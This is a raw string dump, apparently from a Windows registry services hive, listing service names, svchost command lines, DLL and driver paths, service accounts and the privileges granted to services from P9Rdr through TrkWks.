@%SystemRoot%\system32\APHostRes.dll,-10002 %SystemRoot%\system32\svchost.exe -k UnistackSvcGroup %SystemRoot%\System32\APHostService.dll @%systemroot%\system32\p9np.dll,-101 @%systemroot%\system32\p9np.dll,-100 \Device\P9Rdr @%systemroot%\system32\p9np.dll,-100 Plan 9 Network Provider %SystemRoot%\System32\p9np.dll wsl.localhost wsl$ RDBSS @%SystemRoot%\System32\drivers\p9rdr.sys,-101 @%SystemRoot%\System32\drivers\p9rdr.sys,-100 System32\drivers\p9rdr.sys P9Rdr RPCSS @%systemroot%\system32\p9rdrservice.dll,-101 @%systemroot%\system32\p9rdrservice.dll,-102 %systemroot%\system32\svchost.exe -k P9RdrService -p LocalSystem %SystemRoot%\system32\p9rdrservice.dll RpcSs @%SystemRoot%\system32\pcasvc.dll,-2 @%SystemRoot%\system32\pcasvc.dll,-1 %systemroot%\system32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeDebugPrivilege SeBackupPrivilege SeRestorePrivilege SeTcbPrivilege SeAssignPrimaryTokenPrivilege %SystemRoot%\System32\pcasvc.dll ServiceMain Performance Counters for Windows Driver System Reserved System32\drivers\pcw.sys @%SystemRoot%\system32\drivers\pdc.sys,-101 @%SystemRoot%\system32\drivers\pdc.sys,-100 Boot Bus Extender system32\drivers\pdc.sys PEAUTH system32\drivers\peauth.sys C:\ProgramData\Microsoft\MF PEAUTH http @%SystemRoot%\system32\peerdistsvc.dll,-9001 @%SystemRoot%\system32\peerdistsvc.dll,-9000 %SystemRoot%\System32\svchost.exe -k PeerDist NT AUTHORITY\NetworkService SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege SeAuditPrivilege %SystemRoot%\system32\peerdistsvc.dll SVCServiceMain @%SystemRoot%\system32\PenService.dll,-101 @%SystemRoot%\system32\PenService.dll,-100 %SystemRoot%\system32\svchost.exe -k PenService %SystemRoot%\System32\PenService.dll ServiceMain HID_DEVICE_UP:000D_U:0001 HID_DEVICE_UP:000D_U:0002 HID_DEVICE_UP:000D_U:0003 HID_DEVICE_UP:000D_U:000F rpcss @%systemroot%\system32\PerceptionSimulation\PerceptionSimulationService.exe,-102 @%systemroot%\system32\PerceptionSimulation\PerceptionSimulationService.exe,-101 %systemroot%\system32\PerceptionSimulation\PerceptionSimulationService.exe LocalSystem CloseDiskObject CollectDiskObjectData %SystemRoot%\System32\perfdisk.dll 234 236 OpenDiskObject RPCSS @%systemroot%\SysWow64\perfhost.exe,-1 @%systemroot%\sysWow64\perfhost.exe,-2 %SystemRoot%\SysWow64\perfhost.exe NT AUTHORITY\LocalService SeImpersonatePrivilege CloseNetSvcsObject CollectNetSvcsObjectData %SystemRoot%\System32\perfnet.dll 52 262 330 1300 OpenNetSvcsObject CloseOSObject CollectOSObjectData %SystemRoot%\System32\perfos.dll 2 4 86 238 260 700 1814 OpenOSObject CloseSysProcessObject CollectSysProcessObjectData %SystemRoot%\System32\perfproc.dll 230 232 786 740 816 1408 1500 1548 1760 OpenSysProcessObject RpcSs @%SystemRoot%\system32\PhoneserviceRes.dll,-10001 @%SystemRoot%\system32\PhoneserviceRes.dll,-10000 %SystemRoot%\system32\svchost.exe -k LocalService -p NT Authority\LocalService SeCreateGlobalPrivilege SeImpersonatePrivilege %SystemRoot%\System32\PhoneService.dll f26e2372-d601-44f0-84b8-2591d2af2f82 a3bae3f7-bf97-49fb-b48d-2a5e8657b436 UnistoreSvc @%SystemRoot%\system32\UserDataAccessRes.dll,-15000 @%SystemRoot%\system32\UserDataAccessRes.dll,-15001 %SystemRoot%\system32\svchost.exe -k UnistackSvcGroup LocalSystem SeCreateGlobalPrivilege %SystemRoot%\System32\PimIndexMaintenance.dll Packet Monitor Driver system32\drivers\PktMon.sys RPCSS @%systemroot%\system32\pla.dll,-501 @%systemroot%\system32\pla.dll,-500 %SystemRoot%\System32\svchost.exe -k LocalServiceNoNetwork -p NT AUTHORITY\LocalService SeImpersonatePrivilege %systemroot%\system32\pla.dll @%SystemRoot%\system32\umpnpmgr.dll,-101 @%SystemRoot%\system32\umpnpmgr.dll,-200 PlugPlay %SystemRoot%\system32\svchost.exe -k DcomLaunch -p LocalSystem %SystemRoot%\system32\umpnpmgr.dll PlugPlayServiceMain Tcpip @%SystemRoot%\system32\polstore.dll,-5011 @%SystemRoot%\System32\polstore.dll,-5010 %SystemRoot%\system32\svchost.exe -k NetworkServiceNetworkRestricted -p NT Authority\NetworkService SeAuditPrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege %SystemRoot%\System32\ipsecsvc.dll SpdServiceMain %windir%\system32\svchost.exe policyagent PnP Filter \SystemRoot\System32\drivers\portcfg.sys @%SystemRoot%\system32\umpo.dll,-101 @%SystemRoot%\system32\umpo.dll,-100 Plugplay %SystemRoot%\system32\svchost.exe -k DcomLaunch -p LocalSystem SeTcbPrivilege SeSecurityPrivilege SeAssignPrimaryTokenPrivilege SeTakeOwnershipPrivilege SeLoadDriverPrivilege SeBackupPrivilege SeRestorePrivilege SeImpersonatePrivilege SeAuditPrivilege SeChangeNotifyPrivilege SeUndockPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeCreateGlobalPrivilege %SystemRoot%\system32\umpo.dll UmpoMain \SystemRoot\System32\drivers\raspptp.sys @%systemroot%\system32\mprmsg.dll,-32006 @%systemroot%\system32\mprmsg.dll,-32006 netrasa.inf RPCSS @%SystemRoot%\system32\PrintDeviceConfigurationService.dll,-4 @%SystemRoot%\system32\PrintDeviceConfigurationService.dll,-3 %SystemRoot%\System32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeChangeNotifyPrivilege SeLoadDriverPrivilege %SystemRoot%\System32\PrintDeviceConfigurationService.dll ServiceMain RpcSs @%SystemRoot%\system32\PrintWorkflowService.dll,-101 @%SystemRoot%\system32\PrintWorkflowService.dll,-100 %SystemRoot%\system32\svchost.exe -k PrintWorkflow LocalSystem %SystemRoot%\System32\PrintWorkflowService.dll RpcSs @%systemroot%\system32\profsvc.dll,-301 @%systemroot%\system32\profsvc.dll,-300 profsvc_group %systemroot%\system32\svchost.exe -k UserProfileService -p LocalSystem SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeImpersonatePrivilege SeAssignPrimaryTokenPrivilege %systemroot%\system32\profsvc.dll UserProfileServiceMain @%windir%\System32\drivers\pacer.sys,-101 @%windir%\System32\drivers\pacer.sys,-101 NDIS System32\drivers\pacer.sys %SystemRoot%\system32\wshqos.dll @%SystemRoot%\System32\wshqos.dll,-100 @%SystemRoot%\System32\wshqos.dll,-101 @%SystemRoot%\System32\wshqos.dll,-102 @%SystemRoot%\System32\wshqos.dll,-103 rpcss @%SystemRoot%\system32\pushtoinstall.dll,-201 @%SystemRoot%\system32\pushtoinstall.dll,-200 %SystemRoot%\System32\svchost.exe -k netsvcs -p LocalSystem SeChangeNotifyPrivilege SeImpersonatePrivilege SeTcbPrivilege %SystemRoot%\system32\PushToInstall.dll rpcss psched QWAVEdrv LLTDIO @%SystemRoot%\system32\qwave.dll,-2 @%SystemRoot%\system32\qwave.dll,-1 %windir%\system32\svchost.exe -k LocalServiceAndNoImpersonation -p NT AUTHORITY\LocalService SeChangeNotifyPrivilege %windir%\system32\qwave.dll ServiceMain @%SystemRoot%\system32\drivers\qwavedrv.sys,-2 @%SystemRoot%\system32\drivers\qwavedrv.sys,-1 \SystemRoot\system32\drivers\qwavedrv.sys Remote Access Auto Connection Driver Remote Access Auto Connection Driver Streams Drivers System32\DRIVERS\rasacd.sys \SystemRoot\System32\drivers\AgileVpn.sys @netavpna.inf,%Svc-Mp-AgileVpn-DispName%;WAN Miniport (IKEv2) @netavpna.inf,%Svc-Mp-AgileVpn-DispName%;WAN Miniport (IKEv2) netavpna.inf RasAcd @%Systemroot%\system32\rasauto.dll,-201 @%Systemroot%\system32\rasauto.dll,-200 %SystemRoot%\System32\svchost.exe -k netsvcs -p localSystem SeImpersonatePrivilege SeTcbPrivilege SeIncreaseQuotaPrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeAssignPrimaryTokenPrivilege %SystemRoot%\System32\rasauto.dll \SystemRoot\System32\drivers\rasl2tp.sys @%systemroot%\system32\mprmsg.dll,-32005 @%systemroot%\system32\mprmsg.dll,-32005 netrasa.inf System32\DRIVERS\raspppoe.sys aspppoe.sys @%systemroot%\system32\mprmsg.dll,-32007 @%systemroot%\system32\mprmsg.dll,-32007 netrasa.inf \SystemRoot\System32\drivers\rassstp.sys RasAgileVpn @%systemroot%\system32\sstpsvc.dll,-202 @%systemroot%\system32\sstpsvc.dll,-202 netsstpa.inf @%systemroot%\system32\wkssvc.dll,-1001 @%systemroot%\system32\wkssvc.dll,-1000 Network system32\DRIVERS\rdbss.sys RDBSS @%SystemRoot%\System32\DRIVERS\rdpdr.sys,-101 @%SystemRoot%\System32\DRIVERS\rdpdr.sys,-100 System32\drivers\rdpdr.sys @%systemroot%\system32\drprov.dll,-101 @%systemroot%\system32\drprov.dll,-100 \Device\RdpDr @%systemroot%\system32\drprov.dll,-100 Microsoft Terminal Services %SystemRoot%\System32\drprov.dll Boot File System RpcSs schedule @%SystemRoot%\System32\ReFsDedupSvc.exe,-101 @%SystemRoot%\System32\ReFsDedupSvc.exe,-100 %SystemRoot%\System32\ReFsDedupSvc.exe LocalSystem File System NetBIOSGroup RpcSS RasMan Http @%Systemroot%\system32\mprdim.dll,-201 @%Systemroot%\system32\mprdim.dll,-200 %SystemRoot%\System32\svchost.exe -k netsvcs localSystem SeChangeNotifyPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeAuditPrivilege SeTcbPrivilege {1AA7F846-C7F5-11D0-A376-00C04FC9DA04} {1AA7F840-C7F5-11D0-A376-00C04FC9DA04} 0.0.0.0 0.0.0.0 CloseRasPerformanceData CollectRasPerformanceData C:\Windows\System32\rasctrs.dll OpenRasPerformanceData rasctrs.ini %SystemRoot%\System32\IAS IAS.ProxyPolicyEnforcer 0 1 2 0 1 2 3 4 IAS.Realm IAS.Realm IAS.NTSamNames IAS.CRPBasedEAP RPCSS @regsvc.dll,-2 @regsvc.dll,-1 %SystemRoot%\system32\svchost.exe -k localService -p NT AUTHORITY\LocalService SeCreateGlobalPrivilege SeImpersonatePrivilege %SystemRoot%\system32\regsvc.dll winreg @%SystemRoot%\System32\RDXService.dll,-257 @%SystemRoot%\System32\RDXService.dll,-256 %SystemRoot%\System32\svchost.exe -k rdxgroup LocalSystem SeImpersonatePrivilege SeTcbPrivilege SeBackupPrivilege SeRestorePrivilege SeProfileSingleProcessPrivilege SeShutdownPrivilege SeSystemEnvironmentPrivilege %SystemRoot%\system32\RDXService.dll RpcSs @%SystemRoot%\system32\RMapi.dll,-1002 @%SystemRoot%\system32\RMapi.dll,-1001 %SystemRoot%\System32\svchost.exe -k LocalServiceNetworkRestricted NT AUTHORITY\LocalService %SystemRoot%\System32\RMapi.dll @%windir%\system32\RpcEpMap.dll,-1002 @%windir%\system32\RpcEpMap.dll,-1001 COM Infrastructure %SystemRoot%\system32\svchost.exe -k RPCSS -p NT AUTHORITY\NetworkService SeChangeNotifyPrivilege SeImpersonatePrivilege SeCreateGlobalPrivilege %SystemRoot%\System32\RpcEpMap.dll @%systemroot%\system32\Locator.exe,-3 @%systemroot%\system32\Locator.exe,-2 %SystemRoot%\system32\locator.exe NT AUTHORITY\NetworkService SeChangeNotifyPrivilege RpcEptMapper DcomLaunch @combase.dll,-5011 @combase.dll,-5010 COM Infrastructure %SystemRoot%\system32\svchost.exe -k rpcss -p NT AUTHORITY\NetworkService SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege %SystemRoot%\system32\rpcss.dll @%SystemRoot%\system32\lltdres.dll,-5 @%SystemRoot%\system32\lltdres.dll,-5 NDIS system32\drivers\rspndr.sys RPCSS @%SystemRoot%\system32\samsrv.dll,-2 @%SystemRoot%\system32\samsrv.dll,-1 MS_WindowsLocalValidation %SystemRoot%\system32\lsass.exe LocalSystem @%SystemRoot%\System32\SCardSvr.dll,-5 @%SystemRoot%\System32\SCardSvr.dll,-1 SmartCardGroup %SystemRoot%\system32\svchost.exe -k LocalServiceAndNoImpersonation NT AUTHORITY\LocalService SeCreateGlobalPrivilege SeChangeNotifyPrivilege %SystemRoot%\System32\SCardSvr.dll CalaisMain c6b5235a-e413-481d-9ac8-31681b1faaf5 D09BDEB5-6171-4A34-BFE2-06FA82652568:0CC82857-1E0E-4633-A673-257BA24EB9AC @%SystemRoot%\System32\ScDeviceEnum.dll,-101 @%SystemRoot%\System32\ScDeviceEnum.dll,-100 %SystemRoot%\system32\svchost.exe -k LocalSystemNetworkRestricted LocalSystem SeCreateGlobalPrivilege SeTcbPrivilege SeChangeNotifyPrivilege SeImpersonatePrivilege SeTakeOwnershipPrivilege SeSecurityPrivilege %SystemRoot%\System32\ScDeviceEnum.dll ScDeviceEnumServiceMain 169C453B-5955-4672-BE44-21F61E9EF18F @%SystemRoot%\System32\drivers\scfilter.sys,-12 @%SystemRoot%\System32\drivers\scfilter.sys,-11 PnP Filter System32\DRIVERS\scfilter.sys RpcSs @%SystemRoot%\System32\certprop.dll,-14 @%SystemRoot%\System32\certprop.dll,-13 %SystemRoot%\system32\svchost.exe -k netsvcs LocalSystem SeCreateGlobalPrivilege SeTcbPrivilege SeChangeNotifyPrivilege SeImpersonatePrivilege %SystemRoot%\System32\certprop.dll ScPolicyServiceMain RPCSS @%SystemRoot%\system32\sdrsvc.dll,-102 @%SystemRoot%\system32\sdrsvc.dll,-107 %SystemRoot%\system32\svchost.exe -k SDRSVC localSystem SeBackupPrivilege SeRestorePrivilege SeSecurityPrivilege SeTakeOwnershipPrivilege SeCreateSymbolicLinkPrivilege SeAssignPrimaryTokenPrivilege SeIncreaseQuotaPrivilege SeTcbPrivilege SeSystemEnvironmentPrivilege %Systemroot%\System32\SDRSVC.dll @%SystemRoot%\system32\seclogon.dll,-7000 @%SystemRoot%\system32\seclogon.dll,-7001 %windir%\system32\svchost.exe -k netsvcs -p LocalSystem SeTcbPrivilege SeRestorePrivilege SeBackupPrivilege SeAssignPrimaryTokenPrivilege SeIncreaseQuotaPrivilege SeImpersonatePrivilege %windir%\system32\seclogon.dll SvcEntry_Seclogon RpcSs @%systemroot%\system32\SecurityHealthAgent.dll,-1001 @%systemroot%\system32\SecurityHealthAgent.dll,-1002 %SystemRoot%\system32\SecurityHealthService.exe LocalSystem SeImpersonatePrivilege SeBackupPrivilege SeRestorePrivilege SeDebugPrivilege SeChangeNotifyPrivilege SeSecurityPrivilege SeAssignPrimaryTokenPrivilege SeTcbPrivilege SeSystemEnvironmentPrivilege SeShutdownPrivilege AMD64 RpcSs @%SystemRoot%\System32\SEMgrSvc.dll,-1002 @%SystemRoot%\System32\SEMgrSvc.dll,-1001 %SystemRoot%\system32\svchost.exe -k LocalService -p NT AUTHORITY\LocalService SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege %SystemRoot%\system32\SEMgrSvc.dll ServiceMain WIN://ISMULTISESSIONSKU WIN://ISMULTISESSIONSKU WIN://ISMULTISESSIONSKU D09BDEB5-6171-4A34-BFE2-06FA82652568:F2ADD560-EB85-4170-82A2-A48E789690CD D09BDEB5-6171-4A34-BFE2-06FA82652568:045AD40C-5920-4757-90A5-AE0E7E6F6838 @%ProgramFiles%\Windows Defender Advanced Threat Protection\MsSense.exe,-1002 @%ProgramFiles%\Windows Defender Advanced Threat Protection\MsSense.exe,-1001 "%ProgramFiles%\Windows Defender Advanced Threat Protection\MsSense.exe" LocalSystem SeAuditPrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeCreatePagefilePrivilege SeCreatePermanentPrivilege SeDebugPrivilege SeImpersonatePrivilege SeIncreaseBasePriorityPrivilege SeLoadDriverPrivilege SeLockMemoryPrivilege SeProfileSingleProcessPrivilege SeTcbPrivilege SeSecurityPrivilege SeRestorePrivilege SeAssignPrimaryTokenPrivilege SeIncreaseQuotaPrivilege SeBackupPrivilege SeCreateSymbolicLinkPrivilege SeDelegateSessionUserImpersonatePrivilege SeIncreaseWorkingSetPrivilege SeManageVolumePrivilege SeShutdownPrivilege SeSystemEnvironmentPrivilege SeSystemProfilePrivilege SeSystemtimePrivilege SeTakeOwnershipPrivilege SeTimeZonePrivilege SeUndockPrivilege @%SystemRoot%\system32\SensorDataService.exe,-102 @%SystemRoot%\system32\SensorDataService.exe,-101 %SystemRoot%\System32\SensorDataService.exe LocalSystem ProtectedPrefix\Administrators\SensorDataService @%SystemRoot%\System32\sensrsvc.dll,-1001 @%SystemRoot%\System32\sensrsvc.dll,-1000 %SystemRoot%\system32\svchost.exe -k LocalServiceAndNoImpersonation -p NT AUTHORITY\LocalService SeChangeNotifyPrivilege %SystemRoot%\system32\sensrsvc.dll acpiex Serial UART Support Library system32\drivers\SerCx.sys acpiex Serial UART Support Library system32\drivers\SerCx2.sys RPCSS LanmanWorkstation @%SystemRoot%\System32\SessEnv.dll,-1027 @%SystemRoot%\System32\SessEnv.dll,-1026 %SystemRoot%\System32\svchost.exe -k netsvcs -p localSystem SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeImpersonatePrivilege SeTcbPrivilege SeAssignPrimaryTokenPrivilege SeManageVolumePrivilege SeCreateSymbolicLinkPrivilege SeShutdownPrivilege %SystemRoot%\system32\sessenv.dll RpcSs @%SystemRoot%\System32\shsvcs.dll,-12289 @%SystemRoot%\System32\shsvcs.dll,-12288 ShellSvcGroup %SystemRoot%\System32\svchost.exe -k netsvcs -p LocalSystem SeImpersonatePrivilege SeSystemEnvironmentPrivilege %SystemRoot%\System32\shsvcs.dll HardwareDetectionServiceMain System32\drivers\SiSRaid2.sys SCSI Miniport sisraid2.inf System32\drivers\sisraid4.sys SCSI Miniport sisraid4.inf Network System32\DRIVERS\smbdirect.sys RPCSS @%SystemRoot%\System32\smphost.dll,-101 @%SystemRoot%\System32\smphost.dll,-102 %SystemRoot%\System32\svchost.exe -k smphost NT AUTHORITY\NetworkService %Systemroot%\System32\smphost.dll RpcSs @%SystemRoot%\System32\SmsRouterSvc.dll,-10002 @%SystemRoot%\System32\SmsRouterSvc.dll,-10001 %SystemRoot%\system32\svchost.exe -k LocalServiceNetworkRestricted -p NT Authority\LocalService SeChangeNotifyPrivilege SeImpersonatePrivilege SeAuditPrivilege %SystemRoot%\system32\SmsRouterSvc.dll ServiceMain ACD792E4-5239-48B6-8BAF-7D0A79A64AC0 6770612B-B256-4B6E-891B-2FF9936755A1:D185F1D6-A4AF-44c2-8F87-F664BE534C77 ClosePerformanceData CollectPerformanceData Protocol Failures over net.tcp Protocol Failures over net.pipe Dispatch Failures over net.tcp Dispatch Failures over net.pipe Connections Dispatched over net.tcp Connections Dispatched over net.pipe Connections Accepted over net.tcp Connections Accepted over net.pipe Registrations Active for net.tcp Registrations Active for net.pipe Uris Registered for net.tcp Uris Registered for net.pipe Uris Unregistered for net.tcp Uris Unregistered for net.pipe 65536 65536 65536 65536 65536 65536 65536 65536 65536 65536 65536 65536 65536 65536 %systemroot%\system32\NETFXPerf.dll OpenPerformanceData _SMSvcHostPerfCounters_d.ini @firewallapi.dll,-50324 @firewallapi.dll,-50323 %SystemRoot%\System32\snmptrap.exe NT AUTHORITY\LocalService SeChangeNotifyPrivilege @%systemroot%\system32\drivers\spaceparser.sys,-1000 @%systemroot%\system32\drivers\spaceparser.sys,-1001 Hyper-V Parsers system32\drivers\spaceparser.sys acpiex Simple Peripheral Bus Support Library system32\drivers\SpbCx.sys RPCSS http @%systemroot%\system32\spoolsv.exe,-2 @%systemroot%\system32\spoolsv.exe,-1 SpoolerGroup %SystemRoot%\System32\spoolsv.exe LocalSystem SeTcbPrivilege SeImpersonatePrivilege SeAuditPrivilege SeChangeNotifyPrivilege SeAssignPrimaryTokenPrivilege SeLoadDriverPrivilege PerfClose PerfCollect C:\Windows\System32\winspool.drv 1450 PerfOpen RpcSs @%SystemRoot%\system32\sppsvc.exe,-100 @%SystemRoot%\system32\sppsvc.exe,-101 %SystemRoot%\system32\sppsvc.exe NT AUTHORITY\NetworkService SeAuditPrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege 9435cc56-1d9c-4924-ac7d-b60a2c3520e1 srvnet @%systemroot%\system32\srvsvc.dll,-105 @%systemroot%\system32\srvsvc.dll,-104 Network System32\DRIVERS\srv2.sys Network System32\DRIVERS\srvnet.sys HTTP @%systemroot%\system32\ssdpsrv.dll,-101 @%systemroot%\system32\ssdpsrv.dll,-100 %SystemRoot%\system32\svchost.exe -k LocalServiceAndNoImpersonation -p NT AUTHORITY\LocalService SeChangeNotifyPrivilege SeCreateGlobalPrivilege %SystemRoot%\System32\ssdpsrv.dll Agent to hold private keys used for public key authentication. OpenSSH Authentication Agent %SystemRoot%\System32\OpenSSH\ssh-agent.exe LocalSystem SeAssignPrimaryTokenPrivilege SeTcbPrivilege SeBackupPrivilege SeRestorePrivilege SeImpersonatePrivilege @%SystemRoot%\system32\sstpsvc.dll,-201 @%SystemRoot%\system32\sstpsvc.dll,-200 %SystemRoot%\system32\svchost.exe -k LocalService -p NT Authority\LocalService SeChangeNotifyPrivilege SeImpersonatePrivilege /sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/ %SystemRoot%\system32\sstpsvc.dll rpcss @%SystemRoot%\system32\windows.staterepository.dll,-2 @%SystemRoot%\system32\windows.staterepository.dll,-1 %SystemRoot%\system32\svchost.exe -k appmodel -p LocalSystem SeTcbPrivilege SeIncreaseBasePriorityPrivilege SeCreatePermanentPrivilege SeSecurityPrivilege SeChangeNotifyPrivilege SeImpersonatePrivilege SeCreateGlobalPrivilege SeAssignPrimaryTokenPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeBackupPrivilege %SystemRoot%\system32\windows.staterepository.dll System32\drivers\stexstor.sys SCSI Miniport stexstor.inf RpcSs @%SystemRoot%\system32\wiaservc.dll,-10 @%SystemRoot%\system32\wiaservc.dll,-9 %SystemRoot%\system32\svchost.exe -k imgsvc NT Authority\LocalService SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege %SystemRoot%\System32\wiaservc.dll FltMgr @%SystemRoot%\System32\drivers\storqosflt.sys,-102 @%SystemRoot%\System32\drivers\storqosflt.sys,-101 FSFilter Quota Management system32\drivers\storqosflt.sys storqosflt 244000 @%SystemRoot%\system32\svsvc.dll,-102 @%SystemRoot%\system32\svsvc.dll,-101 %SystemRoot%\system32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeManageVolumePrivilege %SystemRoot%\system32\svsvc.dll SvSvc Start RPCSS @%SystemRoot%\System32\swprv.dll,-102 @%SystemRoot%\System32\swprv.dll,-103 %SystemRoot%\System32\svchost.exe -k swprv LocalSystem SeBackupPrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeCreatePermanentPrivilege SeImpersonatePrivilege SeManageVolumePrivilege SeRestorePrivilege SeIncreaseBasePriorityPrivilege SeTcbPrivilege %Systemroot%\System32\swprv.dll rpcss fileinfo @%SystemRoot%\system32\sysmain.dll,-1001 @%SystemRoot%\system32\sysmain.dll,-1000 profsvc_group %systemroot%\system32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeTcbPrivilege SeProfileSingleProcessPrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeIncreaseBasePriorityPrivilege SeLockMemoryPrivilege SeCreateGlobalPrivilege %systemroot%\system32\sysmain.dll SysMtServiceMain RpcEptMapper RpcSs @%windir%\system32\SystemEventsBrokerServer.dll,-1002 @%windir%\system32\SystemEventsBrokerServer.dll,-1001 %SystemRoot%\system32\svchost.exe -k DcomLaunch -p LocalSystem SeCreateGlobalPrivilege SeImpersonatePrivilege SeTcbPrivilege SeCreatePermanentPrivilege %SystemRoot%\System32\SystemEventsBrokerServer.dll 9B008953-F195-4BF9-BDE0-4471971E58ED RpcSs @%SystemRoot%\system32\tapisrv.dll,-10101 @%SystemRoot%\system32\tapisrv.dll,-10100 %SystemRoot%\System32\svchost.exe -k NetworkService -p NT AUTHORITY\NetworkService SeAuditPrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege SeIncreaseQuotaPrivilege SeAssignPrimaryTokenPrivilege %SystemRoot%\System32\tapisrv.dll CloseTapiPerformanceData CollectTapiPerformanceData %SystemRoot%\System32\tapiperf.dll OpenTapiPerformanceData tapiperf.ini @%SystemRoot%\system32\tcpipcfg.dll,-50003 @%SystemRoot%\system32\drivers\tcpip.sys,-10001 PNP_TDI System32\drivers\tcpip.sys %SystemRoot%\System32\drivers\etc mshome.net NDIS %SystemRoot%\System32\wshtcpip.dll hyst hos. @%SystemRoot%\System32\mswsock.dll,-60100 @%SystemRoot%\System32\mswsock.dll,-60101 @%SystemRoot%\System32\mswsock.dll,-60102 CloseTcpIpPerformanceData CollectTcpIpPerformanceData %SystemRoot%\System32\perfnet.dll 502 510 546 548 582 638 658 1530 1532 1534 1820 OpenTcpIpPerformanceData TCP/IP %SystemRoot%\System32\wsock32.dll Tcpip @todo.dll,-100;Microsoft IPv6 Protocol Driver @todo.dll,-100;Microsoft IPv6 Protocol Driver System32\drivers\tcpip.sys %SystemRoot%\System32\wship6.dll @%SystemRoot%\System32\mswsock.dll,-60200 @%SystemRoot%\System32\mswsock.dll,-60201 @%SystemRoot%\System32\mswsock.dll,-60202 \Device\TCPIP6TUNNEL_{07374750-E68B-490E-9330-9FD785CD71B6} \Device\TCPIP6TUNNEL_{2EE2C70C-A092-4D88-A654-98C8D7645CD5} \Device\TCPIP6TUNNEL_{93123211-9629-4E04-82F0-EA2E4F221468} \Device\{07374750-E68B-490E-9330-9FD785CD71B6} \Device\{2EE2C70C-A092-4D88-A654-98C8D7645CD5} \Device\{93123211-9629-4E04-82F0-EA2E4F221468} "{07374750-E68B-490E-9330-9FD785CD71B6}" "{2EE2C70C-A092-4D88-A654-98C8D7645CD5}" "{93123211-9629-4E04-82F0-EA2E4F221468}" tcpip @%SystemRoot%\System32\drivers\tcpipreg.sys,-10111 @%SystemRoot%\System32\drivers\tcpipreg.sys,-10110, System32\drivers\tcpipreg.sys \Device\TCPIPTUNNEL tcpip @%SystemRoot%\system32\tcpipcfg.dll,-50004 @%SystemRoot%\system32\tcpipcfg.dll,-50004 PNP_TDI \SystemRoot\system32\DRIVERS\tdx.sys RPCSS @%SystemRoot%\System32\termsrv.dll,-267 @%SystemRoot%\System32\termsrv.dll,-268 %SystemRoot%\System32\svchost.exe -k NetworkService NT Authority\NetworkService SeAssignPrimaryTokenPrivilege SeAuditPrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege SeIncreaseQuotaPrivilege %SystemRoot%\System32\termsrv.dll CloseTSObject CollectTSObjectData C:\Windows\System32\perfts.dll OpenTSObject tslabels.ini RpcSs @%SystemRoot%\system32\TabSvc.dll,-101 @%SystemRoot%\system32\TabSvc.dll,-100 PlugPlay %SystemRoot%\System32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeTcbPrivilege SeImpersonatePrivilege SeIncreaseQuotaPrivilege SeAssignPrimaryTokenPrivilege SeCreateGlobalPrivilege %SystemRoot%\System32\TabSvc.dll HID_DEVICE_UP:000D_U:0001 HID_DEVICE_UP:000D_U:0002 HID_DEVICE_UP:000D_U:0003 HID_DEVICE_UP:000D_U:0004 @%SystemRoot%\System32\themeservice.dll,-8193 @%SystemRoot%\System32\themeservice.dll,-8192 ProfSvc_Group %SystemRoot%\System32\svchost.exe -k netsvcs -p LocalSystem SeAssignPrimaryTokenPrivilege SeDebugPrivilege SeImpersonatePrivilege %SystemRoot%\system32\themeservice.dll ThemeServiceMain @%SystemRoot%\system32\TieringEngineService.exe,-701 @%SystemRoot%\system32\TieringEngineService.exe,-702 %SystemRoot%\system32\TieringEngineService.exe localSystem TimeBroker @%windir%\system32\TimeBrokerServer.dll,-1002 @%windir%\system32\TimeBrokerServer.dll,-1001 %SystemRoot%\system32\svchost.exe -k LocalServiceNetworkRestricted -p NT AUTHORITY\LocalService SeChangeNotifyPrivilege SeCreateGlobalPrivilege %SystemRoot%\System32\TimeBrokerServer.dll a500d4c6-0dd1-4543-bc0c-d5f93486eaf8 d09bdeb5-6171-4a34-bfe2-06fa82652568:b5ccd5ef-4238-440b-bba0-999f828f1cfe UserManager BrokerInfrastructure @%systemroot%\system32\tokenbroker.dll,-101 @%systemroot%\system32\tokenbroker.dll,-100 %SystemRoot%\system32\svchost.exe -k netsvcs -p LocalSystem SeTcbPrivilege SeAssignPrimaryTokenPrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeImpersonatePrivilege %SystemRoot%\System32\TokenBroker.dll ServiceMain RpcSs @%SystemRoot%\system32\trkwks.dll,-2 @%SystemRoot%\system32\trkwks.dll,-1 %SystemRoot%\System32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeRestorePrivilege SeImpersonatePrivilege %SystemRoot%\System32\trkwks.dll %SystemRoot%\System32\trkwks.dll rpcss @%SystemRoot%\system32\MitigationClient.dll,-104 @%SystemRoot%\system32\MitigationClient.dll,-103 %systemroot%\system32\svchost.exe -k netsvcs -p LocalSystem SeImpersonatePrivilege SeTcbPrivilege SeCreateGlobalPrivilege SeSystemEnvironmentPrivilege SeShutdownPrivilege SeDebugPrivilege SeLoadDriverPrivilege SeRestorePrivilege SeBackupPrivilege SeManageVolumePrivilege SeTakeOwnershipPrivilege SeSecurityPrivilege SeAssignPrimaryTokenPrivilege SeAuditPrivilege SeCreatePagefilePrivilege SeCreatePermanentPrivilege SeCreateSymbolicLinkPrivilege 